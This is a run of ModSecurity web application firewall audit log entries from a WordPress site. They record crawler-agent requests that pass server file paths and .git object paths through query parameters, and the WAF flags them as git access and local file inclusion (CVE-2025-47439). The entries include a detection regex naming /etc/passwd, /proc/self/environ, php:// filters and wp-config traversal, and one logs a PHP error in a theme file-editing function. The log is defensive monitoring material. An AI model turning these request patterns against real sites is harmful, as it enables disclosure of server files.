{"transaction":{"time":"13/Mar/2026:08:09:07.563564 +0100","transaction_id":"abO4E8JuHGAsZ_bVQvkRJQAAA1E","remote_address":"57.141.20.12","remote_port":34426,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?view=/sftproot/htdocs/sivaco/.git/hooks/prepare-commit-msg.sample HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.12","X-Forwarded-Proto":"https","X-Request-Id":"5c28a06ffff13e22a04ed957b4cff0d1","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12157039"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"5c28a06ffff13e22a04ed957b4cff0d1","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/organic-products/?view=/sftproot/htdocs/sivaco/.git/hooks/prepare-commit-msg.sample||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":293,"p2":6183,"p3":0,"p4":0,"p5":357,"sr":138,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:08:09:41.790499 +0100","transaction_id":"abO4Nb_XFT3UbapV64mVnQAABBI","remote_address":"57.141.20.17","remote_port":53676,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/htdocs/coopo.jmkconsulting-ci.com/SCAES/.git/objects/bd/22eecbbc7f6d71fb97d2a9e38f7c928a8f863a HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.17","X-Forwarded-Proto":"https","X-Request-Id":"c5b921877882739b2fcc0407a7a1c09e","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"6751892"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"c5b921877882739b2fcc0407a7a1c09e","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/agriculture-products/?rename=/htdocs/coopo.jmkconsulting-ci.com/scaes/.git/objects/bd/22eecbbc7f6d71fb97d2a9e38f7c928a8f863a||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":191,"p2":3893,"p3":0,"p4":0,"p5":273,"sr":100,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:08:10:07.960796 +0100","transaction_id":"abO4T1lrCM1mgECVnsPqMwAAA4A","remote_address":"57.141.20.1","remote_port":59362,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/opt/php8.2/include/php/Zend/zend_map_ptr.h HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.1","X-Forwarded-Proto":"https","X-Request-Id":"17238222e82884f6b063fef75b11421b","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"10063219"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"17238222e82884f6b063fef75b11421b","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/opt/php8.2/include/php/Zend/zend_map_ptr.h||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":291,"p2":6207,"p3":0,"p4":0,"p5":449,"sr":134,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:08:10:44.037989 +0100","transaction_id":"abO4c7_XFT3UbapV64mWAQAABAE","remote_address":"57.141.20.29","remote_port":45570,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/htdocs/coopo.jmkconsulting-ci.com/SCAES/.git/objects/86/0e8329d4bc9a51b558753f7dbeec3466810665 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.29","X-Forwarded-Proto":"https","X-Request-Id":"7e59970046c3851c114ff0e1a588b95e","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"3214984"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"7e59970046c3851c114ff0e1a588b95e","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/agriculture-products/?rename=/htdocs/coopo.jmkconsulting-ci.com/scaes/.git/objects/86/0e8329d4bc9a51b558753f7dbeec3466810665||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":274,"p2":5441,"p3":0,"p4":0,"p5":314,"sr":137,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:08:10:50.560572 +0100","transaction_id":"abO4ellrCM1mgECVnsPq5wAAA44","remote_address":"57.141.20.58","remote_port":39436,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/usr/base/usr/share/locale/it/LC_MESSAGES/bash.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.58","X-Forwarded-Proto":"https","X-Request-Id":"c881c19d11ecd5817e001ed7df48f5ba","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4589646"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"c881c19d11ecd5817e001ed7df48f5ba","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/it/LC_MESSAGES/bash.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":183,"p2":3698,"p3":0,"p4":0,"p5":394,"sr":94,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:08:11:04.348736 +0100","transaction_id":"abO4h7_XFT3UbapV64mWMwAABAE","remote_address":"57.141.20.2","remote_port":45570,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/.wp-cli/cache-php-compat/plugins/wp-force-login/wp-force-login.5.6.3.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.2","X-Forwarded-Proto":"https","X-Request-Id":"b08ad6501230bfb67e01fa6835706181","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"11012794"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"b08ad6501230bfb67e01fa6835706181","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/.wp-cli/cache-php-compat/plugins/wp-force-login/wp-force-login.5.6.3.json||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":305,"p2":5501,"p3":0,"p4":0,"p5":323,"sr":114,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:08:11:20.443075 +0100","transaction_id":"abO4mLF5yQKviNRUY1bSxQAAA9Q","remote_address":"57.141.20.11","remote_port":42462,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/usr/share/locale/fi/LC_MESSAGES/coreutils.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.11","X-Forwarded-Proto":"https","X-Request-Id":"51ee2b9790ba4879ae451c9131db3d0e","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"1150215"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"51ee2b9790ba4879ae451c9131db3d0e","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/fi/LC_MESSAGES/coreutils.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":328,"p2":6422,"p3":0,"p4":0,"p5":347,"sr":155,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:08:11:37.907581 +0100","transaction_id":"abO4qbF5yQKviNRUY1bTGwAAA9E","remote_address":"57.141.20.29","remote_port":40734,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/usr/share/locale/cy/LC_MESSAGES/iso_639_3.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.29","X-Forwarded-Proto":"https","X-Request-Id":"7b6931df4ed7e1eb67f12f32dc19f290","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"10846473"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"7b6931df4ed7e1eb67f12f32dc19f290","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/cy/LC_MESSAGES/iso_639_3.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":317,"p2":6279,"p3":0,"p4":0,"p5":347,"sr":195,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:08:11:41.573048 +0100","transaction_id":"abO4rbF5yQKviNRUY1bTKQAAA9M","remote_address":"57.141.20.3","remote_port":60096,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/harvest/?edit=/usr/base/usr/share/terminfo/x/xterm%20pce2 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.3","X-Forwarded-Proto":"https","X-Request-Id":"39a59d7c4004fc14b141a26cff54e5fe","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4785404"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2422>; rel=shortlink","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"39a59d7c4004fc14b141a26cff54e5fe","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Uncaught ValueError: Path cannot be empty in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/single-service.php:180\\\\nStack trace:\\\\n#0 /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/single-service.php(180): file_get_contents('')\\\\n#1 /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/single-service.php(232): editFile(false)\\\\n#2 /htdocs/ptso.jmkconsulting-ci.com/wp-includes/template-loader.php(132): include('/htdocs/ptso.jm...')\\\\n#3 /htdocs/ptso.jmkconsulting-ci.com/wp-blog-header.php(19): require_once('/htdocs/ptso.jm...')\\\\n#4 /htdocs/ptso.jmkconsulting-ci.com/index.php(17): require('/htdocs/ptso.jm...')\\\\n#5 {main}\\\\n  thrown in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/single-service.php on line 180'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":194,"p2":3861,"p3":0,"p4":0,"p5":375,"sr":104,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:08:11:44.941197 +0100","transaction_id":"abO4sL_XFT3UbapV64mW0gAABBQ","remote_address":"57.141.20.24","remote_port":52316,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/usr/share/locale/tr/LC_MESSAGES/iso_15924.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.24","X-Forwarded-Proto":"https","X-Request-Id":"a97e67d20f187298d6152b903ed1f969","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"231428"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"a97e67d20f187298d6152b903ed1f969","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/tr/LC_MESSAGES/iso_15924.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":210,"p2":3909,"p3":0,"p4":0,"p5":250,"sr":106,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:08:11:50.610449 +0100","transaction_id":"abO4toS9jYN6zgxYZnjAxQAAAxU","remote_address":"57.141.20.37","remote_port":40152,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/fe/72ded63cafa0019c745a0c76ccd30d0bdc8aa8 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.37","X-Forwarded-Proto":"https","X-Request-Id":"ff177514aeecb85a0d1a40b0229d1220","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4201228"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"ff177514aeecb85a0d1a40b0229d1220","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/fe/72ded63cafa0019c745a0c76ccd30d0bdc8aa8||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":332,"p2":5994,"p3":0,"p4":0,"p5":275,"sr":156,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:08:12:27.209439 +0100","transaction_id":"abO42sJuHGAsZ_bVQvkSegAAA1E","remote_address":"57.141.20.29","remote_port":43244,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/usr/share/terminfo/e/ep4080 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.29","X-Forwarded-Proto":"https","X-Request-Id":"bb07d6bc92c3e06b98e3e0906504ff7d","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"6165039"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"bb07d6bc92c3e06b98e3e0906504ff7d","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/e/ep4080||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":215,"p2":4552,"p3":0,"p4":0,"p5":326,"sr":114,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
